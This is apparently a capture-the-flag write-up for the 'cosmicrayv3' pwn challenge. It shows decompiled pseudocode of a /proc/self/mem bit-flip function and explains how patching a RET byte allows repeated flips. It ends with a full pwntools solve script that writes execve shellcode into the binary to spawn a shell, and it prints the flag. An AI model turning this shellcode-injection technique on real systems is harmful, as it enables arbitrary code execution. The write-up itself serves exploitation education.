cosmic_ray essentially allows us to choose any bit in the program to flip. The pseudocode is as follows:
undefined8 cosmic_ray(void)
{
__off_t local_30;
char local_26;
char local_25;
int local_24;
undefined8 local_20;
long local_18;
int local_10;
int local_c;
puts("Enter an address to send a cosmic ray through:");
__isoc99_scanf("0x%lx",&local_30);
getchar();
putchar(10);
local_10 = open("/proc/self/mem",2);
lseek(local_10,local_30,0);
read(local_10,&local_25,1);
local_18 = byte_to_binary((int)local_25);
puts("|0|1|2|3|4|5|6|7|");
puts("-----------------");
putchar(0x7c);
for (local_c = 0; local_c < 8; local_c = local_c + 1) {
printf("%d|",(ulong)(uint)(int)*(char *)(local_18 + local_c));
}
putchar(10);
putchar(10);
puts("Enter the bit position to flip:");
__isoc99_scanf(&DAT_00402098,&local_24);
getchar();
if ((-1 < local_24) && (local_24 < 8)) {
local_20 = flip_bit(local_18,local_24);
local_26 = binary_to_byte(local_20);
putchar(10);
printf("Bit succesfully flipped! New value is %d\n\n",(ulong)(uint)(int)local_26);
lseek(local_10,local_30,0);
write(local_10,&local_26,1);
return 0;
}
/* WARNING: Subroutine does not return */
exit(1);
}
We should first enter the byte to flip in the format 0x123456, then enter the bit to flip which is between 0 (for most significant bit) and 7 (for least significant bit).
Since cosmic_ray is only called by main once, we need to find a way to get many bit flips. Notice that the assembly code for cosmic_ray is located above the assembly code for main:
As such, if we were to modify the RET instruction to another valid instruction, the program execution would continue to main and call cosmic_ray again. We can change the byte 0x4015aa at bit 0 from 1 to 0, which would change the byte from c3 to 43, changing our RET to an instruction that is still valid.
Now we want instructions after the CALL cosmic_ray instruction in main to contain shellcode. This way, when we finally allow the cosmic_ray function to return, our shellcode will be executed. So from address 0x4015e5 onwards, the bytes will contain our shellcode.
Our plan is as follows:
Flip bit 0 at 0x4015aa
Flip bits from 0x4015e5 onwards until our entire shellcode is in the program code
Flip bit 0 at 0x4015aa again to allow cosmic_ray to return
In my script, I define the function flip to handle process i/o, indicating which bit to flip. I also have a function getbit that obtains the specified bit from the program's code.
For step 2, I iterate through every bit of the shellcode. If the bit is different from the corresponding bit in the program's code, I request the bit to be flipped. Below is my solve script.
from pwn import *
from bitstring import BitArray
# fill in binary name
elf = context.binary = ELF("./cosmicrayv3")
libc = ELF("./libc-2.35.so")
ld = ELF("./ld-2.35.so")
context.log_level = 'debug'
# shellcode from https://www.exploit-db.com/exploits/47008
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
shellcode_hex = shellcode.hex()
shellcode_binarystr = BitArray(hex=shellcode_hex).bin
print(f"binary string: {shellcode_binarystr}")
f = open("./cosmicrayv3", "rb")
data = f.read()
if args.REMOTE:
# fill in remote address
p = remote("vsc.tf", 7000)
else:
p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})
# create exploit here
def flip(addr,bits):
addr = str(hex(addr)).encode()
bits = str(bits).encode()
p.sendlineafter(b"through:\n", addr)
p.sendlineafter(b"flip:\n", bits)
# bits are from left to right. ie msb is bit 0, lsb is bit 7
def getbit(addr, bits):
real_addr = addr - 0x400000
binary_byte = hex(data[real_addr])
byte_binarystr = BitArray(hex=binary_byte).bin
byte_binarystr = byte_binarystr.rjust(8, '0')
# count bits from left
if byte_binarystr[bits] == '0':
return '0'
else:
return '1'
# change c3 (ret)
flip(0x004015aa, 0)
# now we have infinite flips
# let 0x4015e5 and after be our shellcode
curr_byte, curr_bits= 0x04015e5, 0
for i in range(len(shellcode_binarystr)):
a, b = getbit(curr_byte, curr_bits), shellcode_binarystr[i]
if a != b:
flip(curr_byte, curr_bits)
if curr_bits == 7:
curr_byte += 1
curr_bits = 0
else:
curr_bits += 1
flip(0x004015aa, 0) # flip back to exit cosmic_ray
p.interactive() # vsctf{4nd_th3_st4r5_4l1gn_0nc3_m0r3}